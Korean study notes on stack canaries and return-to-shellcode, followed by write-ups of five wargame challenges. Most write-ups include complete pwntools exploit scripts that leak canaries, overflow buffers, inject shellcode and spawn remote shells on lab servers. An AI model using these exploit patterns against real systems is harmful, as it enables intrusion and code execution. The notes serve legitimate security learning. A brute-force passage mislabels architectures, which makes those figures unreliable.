` gcc -o no\_canary canary.c -fno-stack-protector`

` ./no\_canary`

### 카나리 활성화

카나리를 적용하여 다시 컴파일하고, 긴 입력을 주면 Segmentation fault가 아니라 stack smashing detected 와 Aborted 라는 에러가 나온다. 이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미한다.

no\_canary와 디스어셈블 결과를 비교하면, main 함수의 프롤로그와 에필로그에 각각 다음의 코드들이 추가 되었다.

추가된 프롤로그의 코드에 중단점을 설정하고 바이너리를 실행시킨다.

main+8은 fs:0x28의 데이터를 읽어서 rax에 저장한다. fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때 fs:0x28에 랜덤 값을 저장한다. 따라서 main+8의 결과로 rax에는 리눅스가 생성한 랜덤 값이 저장된다.

코드를 한 줄 실행하면 rax에 다음과 같이 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있다.

\* fs

Background: Computer Architecture 에서 CPU에는 다양한 세그먼트 레지스터가 존재한다고 배웠다. 초기에는 세그먼트 레지스터로 code segment(cs), data segment(ds), extra segment(es)가 있다. CPU 개발자들은 여기에 두 개의 세그먼트 레지스터를 추가하려고 했는데 이름을 고민하다가 c,d,e 다음에 있는 f와 g를 사용했다.

cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터다. 리눅스는 fs를 Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. 여기서는 TLS에 카나리를 비롯하여 프로세스 실행에 필요한 여러 데이터가 저장된다고만 알고있자.

### 카나리 검사

이제 추가된 에필로그의 코드에 중단점을 설정하고 바이너리를 계속 실행시키자.

main+50은 rbp-8에 저장한 카나리를 rcx로 옮긴다. 그 뒤, main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor한다. 두 값이 동일하면 연산 결과가 0이 되면서 je의 조건을 만족하게 되고, main 함수는 정상적으로 반환된다. 그러나 두 값이 동일하지 않으면 ` \_\_stack\_chk\_fail`이 호출되면서 프로그램이 강제로 종료된다.

여기서는 16개의 H를 입력으로 카나리를 변조하고, 실행 흐름이 어떻게 되는지 살펴보자.

코드를 한 줄 실행 시키면, rbp -0x8에 저장된 카나리 값이 버퍼 오버플로우로 인해 "0x0x4848484848484848”이 된 것을 확인할 수 있다.

main+54의 연산 결과가 0이 아니므로 main+63에서 main+70으로 분기하지않고 main+65의 `\_\_stack\_chk\_fail`을 실행하게 된다.

이 함수가 실행되면 다음의 메세지가 출력되며 프로세스가 강제로 종료된

`\*\*\* stack smashing detected \*\*\*: <unknown> terminated

Program received signal SIGABRT, Aborted.`

## 카나리 생성 과정

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다.

이 토픽에서는 조금 깊이 들어가서 TLS에 카나리 값이 저장되는 과정을 자세히 분석하겠다.

### TLS의 주소 파악

fs는 TLS를 가리키므로 fs의 값을 알면 TLS의 주소도 알 수 있다. 그러나 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회하거나 설정할 수 있다.

gdb에서 다른 레지스터의 값을 출력하듯 `info register fs` 나, `print $fs` 와 같은 방식으로는 값을 알 수 없다.

init\_tls() 안에서 catchpoint에 도달할 때까지 continue 명령어를 실행한다.

catchpoint에 도달했을ㄷ 때, rdi의 값이 0x1002인데 이 값은 ARCH\_SET\_FS의 상숫값이다. rsi의 값이 0x7ffff7d7f740 이므로, 이 프로세스는 TLS를 0x7ffff7d7f740에 저장할 것이며, fs는 이를 가리키게 될 것이다.

카나리가 저장될 fs+0x28(0x7ffff7d7f740+0x28)의 값을 보면, 아직 어떠한 값도 설정되어 있지 않음을 확인할 수 있다.

### 카나리 값 설정

TLS의 주소를 알았으므로, gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 프로세스를 중단 시키겠다.

watch는 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어다.

`watch \*(0x7ffff7d7f740+0x28)`

watchpoint를 설정하고 프로세스르 계속 진행시키면 security\_init 함수에서 프로세스가 멈춘다.

여기서 TLS+0x28의 값을 조회하면 0x8ab7f53277873d00 이 카나리로 설정된 것을 확인할 수 있다.

실제로 이 값이 main 함수에서 사용하는 카나리 값인지 확인하기 위해 main 함수에 중단점을 설정하고, 계속 실행해보겠다.

`mov rax,QWORD PTR fs:0x28` 를 실행하고 rax 값을 확인해보면 security\_init에서 설정한 값과 같은 것을 확인할 수 있습니다.

## 카나리 우회

카나리가 등장하자 해커들은 카나리를 우회할 수 있는 방법을 연구했다. 카나리를 우회하는 방법은 다음과 같이 알려져 있다.

1. 무차별 대입

x64 아키에서는 8바이트의 카나리가 생성되며, x86 아키에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7바이트와 3바이트의 랜덤한 값이 포함된다.

즉, 무차별 대입으로 x86 아키의 카나리 값으 알아내려면 최대 256^7, x86에서는 최대 256^3 번의 연산이 필요하다. 연산량이 많아서 x86 아키의 카나리는 무차별 대입으로 알아내는 것 자체가 현실적으로 어려우며, x86 아키는 구할 순 있지만, 실제 서버를 대상으로 저정도 횟수의 무차별 대입을 시도하는 것은 불가능하다.

2. TLS 접근

카나리는 TLs에 전역변수로 저장되며, 매 함수마다 이를 참조해서 사용한다. TLS의 주소는 매 실행마다 바뀌지만 만약 실행중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있다.

그 뒤, 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회할 수 있다.

<code>

// Name: bypass\_canary.c

// Compile: gcc -o bypass\_canary bypass\_canary.c

#include <stdio.h>

#include <unistd.h>

int main() {

char memo[8];

char name[8];

printf("name : ");

read(0, name, 64);

printf("hello %s\n", name);

printf("memo : ");

read(0, memo, 64);

printf("memo %s\n", memo);

return 0;

}

</code>

## 요약

### 카나리

함수 시작 시 스택 버퍼와 Return Address 사이에 랜덤 값을 삽입한 후 함수 종료 시 해당 랜덤 값의 변조 여부를 확인하여 메모리 오염 여부를 확인하는 보호 기법이다.

### 카나리 생성

security\_init 함수에서 TLS에 랜덤 값으로 카나리를 설정하면, 매 함수에서 이를 참조하여 사용한다.

### 카나리 우회 기법

\* 무차별 대입 공격:

무차별 대입으로 카나리 값을 구하는 방법, 현실적으로 불가능에 가깝다.

\* TLS 접근:

카나리는 TLS에 전역변수로 저장되므로, 이 값을 읽거나 조작할 수 있으면 카나리를 우회할 수 있다.

\* 스택 카나리 릭:

함수의 프롤로그에서 스택 카나리 값을 저장하므로, 이를 읽어낼 수 있으면 카나리를 우회할 수 있다. 가장 현실적인 카나리 우회 기법이다.

# Return to Shellcode

## 분석

### 보호기법 탐지

리눅스에는 다양한 바이너리 보호 기법이 존재한다. 적용된 보호기법에 따라 익스플로잇 설계가 달라지므로, 분석을 시도하기 전에 먼저 적용된 보호기법을 파악해보는 것이 좋다.

보호기법을 파악할 때 주로 사용하는 툴이 checksec다. pwntools를 설치할 때 같이 설치된다.

checksec을 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.

## 취약점 탐색

1. buf의 주소

이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.

<code>

printf("Address of the buf: %p\n", buf);

printf("Distance between buf and $rbp: %ld\n",

(char\*)\_\_builtin\_frame\_address(0) - buf);

</code>

2. 스택 버퍼 오버플로우

코드를 살펴보면 스택 버퍼인 buf에 총 두 번의 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있다.

<code>

char buf[0x50]

read(0, buf, 0x100)

gets(buf)

</code>

## 익스플로잇 시나리오

1. 카나리 우회

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 `\_\_stack \_chk\_fail` 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두번째 입력에 사용해야 한다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생 시키면 카나리 값을 구할 수 있을 것이다.

<code>

read(0, buf, 0x100)

printf("your input is '%s'\n", buf);

2. 쉘 획득

카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 지난 실습과 달리 쉘을 획득해주는 get\_shell() 같은 함수가 없다. 따라서 쉘을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고있는 buf에 쉘 코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 쉘을 획득할 수 있을 것이다.

## 스택 프레임 정보 수집

스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예제에서는 스택 프레임에서의 buf위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.

pwntools 강의에서 배운 process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다. 아래와 유사한 결과가 나오도록 직접 pwntools 스크립트를 작성 해보자.

## 강의 요약

이번 강의에서는 카나리를 우회하고, 쉘코드가 주입된 버퍼로 실행 흐름을 조작하는 공격 기법을 배웠다. 이를 이용하면 지난 번에 사용했던 get\_shell() 같은 부자연스러운 함수가 없어도 쉘을 획득할 수 있다.

강의에서는 스택 버퍼에 코드를 주입하여 실행했지만, 이 외에도 전역으로 선언된 버퍼나, 힙 버퍼 등에도 쉘코드를 주입하여 실행시킬 수 있다. 특히, 전역 버퍼는 PIE가 적용되지 않으면 주소가 고정되기 때문에, 버퍼의 주소를 구하는 별도의 과정 없이도 해당 버퍼로 실행 흐름을 바로 옮길 수 있다.

이 공격 기법은 다음 조건이 만족되면 사용할 수 있다.

1. 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나, 구할 수 있다.

2. 실행 흐름을 옮길 수 있다. <- 스택 버퍼 오버플로우도 이에 해당함

컴퓨터 과학에서는 임의의 코드를 실행하는 것을 Arbitary Code Execution(임의 코드 실행) 라고 부른다. 그리고 원격 서버를 대상으로 ACE를 수행하는 것을 Remote Code Execution(원격 코드실행(REC))라고 부른다. 이번 강의에서 배운 Return to shellcode는 RCE 기법이라고 할 수 있다.

RCE는 서버를 대상으로 한 공격들 중, 매우 파괴적인 공격에 속하며, 컴퓨터 과학자들은 서버에서 RCE의 위험을 줄이기 위해 여러 보호 기법을 고안했다. 대표적으로 코드 섹션 외의 모든 섹션에 실행 권한을 없애는 NX가 있으며, 바이너리를 실행할 때마다 임의의 주소에 스택과 힙을 할당하는 ASLR(Address Space Layout Randomization)이 있다.

r2s는 컴파일할 때, gcc에 -zexecstack 옵션을 추가하여 NX를 해제했기 때문에 buf에 주입한 쉘코드를 실행할 수 있었다.

-----------------

# 워게임 5선 write-up

## ssp\_001

\* 보호기법 : 32bit 바이너리 / canary on / NX on

\* 코드 분석 :

\* get\_shell()

\* box 값을 출력하는 print\_box

\* menu 출력 함수

\* F를 입력받으면 box에 입력받음

\* P를 입력하면 print\_box 함수를 호출하여 해당 인데스의 값을 출력

\* E를 입력하면 name\_len 변수에 이름의 크기를 입력받고 name 변수에 해당하는 크기만큼 이름을 입력받음.

메뉴 E에서 원하는 크기만큼 box에 입력을 줄 수 있기 때문에 버퍼 오버플로우가 발생함.

메뉴 P에서 인덱스를 입력 받을 때 경계값 검사를 하지 않기 때문에, 64이상의 인덱스를 입력하여 name아래에 있는 값을 출력할 수 있음.

select = [ebp-0x8a]

box = [ebp-0x88]

idx = [ebp-0x94]

name = [ebp-0x48]

name\_len = [ebp-0x90]

RET = 0xf7d9a519

EBP = 0xf7ffd020

canary = 0xfeee4e00

canary와 ebp 사이에 0xf7ffcb80라는 dummy 존재

from pwn import \*

def slog(name, addr):

return success(": ".join([name, hex(addr)]))

#context.log\_level = 'debug'

p = remote('host3.dreamhack.games', 18996)

e = ELF("./ssp\_001")

get\_shell = e.symbols['get\_shell']

# canary leak

canary = b""

i = 131

while i >= 128:

p.sendlineafter("> ", 'P')

p.sendlineafter("Element index : ", str(i))

p.recvuntil("is : ")

canary += p.recvn(2)

i = i - 1

canary = int(canary, 16)

slog("canary", canary)

#BOF

payload = b'A' \* 64

payload += p32(canary)

payload += b'A' \* 8

payload += p32(get\_shell)

p.sendlineafter("> ", 'E')

p.sendlineafter("Name Size : ", str(1000))

p.sendlineafter("Name : ", payload)

p.interactive()

### 카나리 릭

1) 메뉴 P를 이용하면 64 이상의 index를 주어 box 밑에 있는 값을 출력할 수 있기 때문에 이를 이용해서 카나리 릭을 할 수 있다.

box ~ canary까지 거리는 128바이트니까 index로 128 ~ 131을 주면 카나리 값을 릭할 수 있음.

### 버퍼 오버 플로우

메뉴 E를 이용하면 box에 원하는 크기만큼 입력을 할 수 있어 버퍼 오버플로우가 발생한다. 이를 이용해서 RET르 get\_shell로 덮으면 쉘을 띄울 수 있다.

from pwn import \*

def slog(name, addr):

return success(": ".join([name, hex(addr)]))

#context.log\_level = 'debug'

context.arch = "amd64"

p=remote('host3.dreamhack.games', 17401)

e = ELF("./r2s")

shellcode = asm(shellcraft.sh())

# get buf address

p.recvuntil("Address of the buf: ")

buf = int(p.recv(14), 16)

# canary leak

payload = b'A' \* 0x59

p.sendafter("Input: ", payload)

p.recvuntil(payload)

canary = u64(b'\00' + p.recv(7))

slog("buf", buf)

slog("canary", canary)

#BOF

payload = shellcode

payload += b'A' \* (88 - len(shellcode))

payload += p64(canary)

payload += b"A" \* 8

payload += p64(buf)

p.sendlineafter("Input: ", payload)

p.interactive()

## ssp\_000

\* 보호기법 : 64bit 바이너리 / canary on / NX on

\* 코드 분석 :

\* get\_shell 함수 존재

\* long type으로 addr, value가 선언 (4bytes)

\* buf의 크기는 0x40

\* read 함수를 통해 buf에 0x80만큼 사용자의 입력으 받음 -> BOF 유발

\* addr, value에 대해 scanf 함수를 이용하여 사용자의 입력을 받고 있음

\* value값을 addr이 가라키는 주소에 넣음

\* 바이너리 실행

buf 입력을 받은 후 addr, value 값을 입력 받는데, Segmentation fault error 발생

아마도 addr에 입력 받은 것이 유효한 주소가 아니기 때문에 발생하는 것으로 보임(메모리 상에 111111을 hex로 치환한 주소가 없기 때문임)

\* gdb 분석

1) main+77: 사용자가 입력한 buf 내용은 rbp-0x50에 저장됨

2) main+114: 사용자가 입력한 addr은 rbp-0x60에 저장됨

3) main+151: 사용자가 입력한 value는 rbp-0x58에 저장

\* 문제 해결

BOF를 이용하여 buf-canary-sfp-ret을 맞춰주면 될 것으로 보이나, canary를 leak할 수 있는 부분이 보이지 않음

만약, buf-canary 부분까지 dummy로 채워버리면 canary가 기존의 TLS에 존재하는 값과 같은지 비교하는 부분에서 false가 반환될 것임(main+190의 `\_\_stack\_chk\_fail`)

canary를 변조하여 `\_\_stack\_chk\_fail`이 호출될 때 해당 함수의 GOT 주소를 `\_\_stack\_chk\_fail`이 아닌, get\_shell 주소를 넣어준다면 우회할 수 있음

from pwn import \*

p=remote('host3.dreamhack.games', 23427)

e=ELF('./ssp\_000')

get\_shell = e.symbols['get\_shell']

canary = e.got['\_\_stack\_chk\_fail']

payload = "a"\*88

p.send(payload)

p.sendlineafter('Addr : ', str(canary))

p.sendlineafter('Value : ', str(get\_shell))

p.interactive()

## basic\_exploitation\_000

\* 보호기법 : 32bit 바이너리

\* 코드 분석:

\* get\_shell 없음(쉘코드 사용)

\* buf의 크기는 0x80이나, scanf로 141바이트만큼 받을 수 있다. 그 말인 즉 버퍼 오버 플로우를 일으킬 수 있다.

\* 이 점을 이용해 buf를 더미값으로 채우고 ret값을 침범하여 원하는 명령을 내리면 됨.

\* 더미 값으로 채워야 하는 부분은 rbp-0x80 ~ rbp + 0x04 즉 132바이트만큼이다.

\* 해결방법

buf 의 주소가 10 자리여서 그 10 자리를 16진수로 바꿔서 저장을 하고, buf 의 주소를 출력할 때 개행문자 "\n" 가 있으므로 recvline 을 통해 한 줄을 읽어서 반환한다.

그 후 , 26 바이트 쉘 코드를 작성해주는데, 이때 python2 와 python3 의 방식이 다르므로 만약 python3 를 사용하고 있다면 문자열 앞에 바이트 형식으로 변화해준다는 문자열 b 를 꼭 작성해야 한다

132 바이트 - 26 바이트는 106 바이트 이다.

즉, 106 바이트는 아무 문자나 채우고 RET 전까지 바이트가 채워지면, buf 의 주소 값을 32 비트 리틀엔디안 패킹 방식으로 넣어준다.

그 후, sendline 을 통해 payload 의 값을 전송하고, interactive 를 통해 쉘에 접속한다.

from pwn import \*

p = remote('host3.dreamhack.games', 8706)

p.recvuntil('buf = (')

buf\_addr = int(p.recv(10), 16)

code = b"\x31\xc0\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"

payload = code + b'a' \* (0x84 - len(code)) + p32(buf\_addr)

p.send(payload)

p.interactive()

## basic\_exploitation\_001

\* 보호기법 : 32bit 바이너리 / NX on

\* 코드 분석 :

\* main 함수 buf에 0x80만큼 사이즈가 할당됨. 128바이트

\* initialize 함수가 실행되고, gets로 buf를 입력받는다.

- 실행되고 30초가 지나면 Time out 메시지 출력 후 프로그램 종료

\* read\_flag 함수, system명령어로 flag값을 보여준다. 호출부분 없음 강제 호출

\* 스택의 기본 구조는 buf + sfp(4) + ret(4)

\* buf의 크기는 128바이트고 SFP의 크기는 4 byte이므로 ret전까지 바이트 수는 132 바이트라는 것을 알 수 있다.

\* 132바이트까지 gets로 입력을 하고 RET에 침범하여, read\_flag 함수의 주소 값을 넣어주면 강제로 read\_flag 함수를 호출한다.

\* 해결방법

gdb로 read\_flag 함수 위치 확인.

ret 전까지 바이트가 채워지면, read\_flag 함수의 주소 값을 32비트 리틀 엔디언 패킹 방식으로 넣어준다.

그 후, sendline을 통해 payload의 값을 전송하고, interactive()를 통해 쉘에 접속함.

from pwn import \*

p = remote('host3.dreamhack.games', 20529)

payload = b’A’ \* 0x84 + p32(0x080485b9)

p.send(payload)

p.interactive()

## Return to Shellcode

\* 보호기법 : 64bit 바이너리 / canary on / PIE on

\* 코드 분석 :

\* 바이너리 파일을 실행시켜보면 실행할 때마다 buf주소가 변하고 있으며, buf ~ rbp 사이의 거리가 96바이트 밖에 안되는데, read로 256바이트 만큼 입력을 받고 있기 때문에, 카나리 릭을 할 수 있다.

그리고 gets() 함수로 크기에 제한 없이 입력을 받고 있어서 RET까지 조작을 할 수 있다.

\* buf의 크기 80바이트 할당

\* printf를 통해 사용자가 입력한 값을 출력해줌

\* gets 함수를 통해 buf에 사용자의 입력을 받음 -> BOF 유발

\* get\_shell 없음 쉘코드 입력.

\* 스택 구조 :

ret - rbp - \x00 + canary - dummy - buf

\* canary leak

dummy[89]

→ printf 함수는 null-byte가 올 때까지의 모든 데이터를 출력해주므로 canary의 1번째 byte까지를 dummy로 채워주면 나머지 7byte의 canary 값을 leak할 수 있음

\* 해결방법

첫번째 입력에서 89바이트를 입력하면 카나리 앞의 NULL이 제거되면서 printf("input: ");에 의해 카나리 값을 얻을 수 있다.

read 함수는 \n을 받지 않고 send를 해야 한다 → pwntools에서 send

gets 함수는 \n을 함께 넣어 send를 해야 한다 → pwntools에서 sendline

from pwn import \*

context.arch = 'amd64'

p=remote('host3.dreamhack.games', 9188)

canary\_input = b'A'\*(0x60-0x8)

canary = b''

p.recvuntil(b'0x')

ret\_add = p.recv(12)

p.sendlineafter(b'put: ',canary\_input)

p.recvline()

canary = b'\x00'

canary += p.recv(7)

ret\_add = p64(int(ret\_add,16))

totlen = 0x60-0x8

payload = b''

payload += asm(shellcraft.sh())

payload += b'\x90'\*(totlen-len(payload))

payload += canary

payload += b'\x90'\*8

payload += ret\_add

p.sendlineafter(b'put: ',payload)

p.interactive()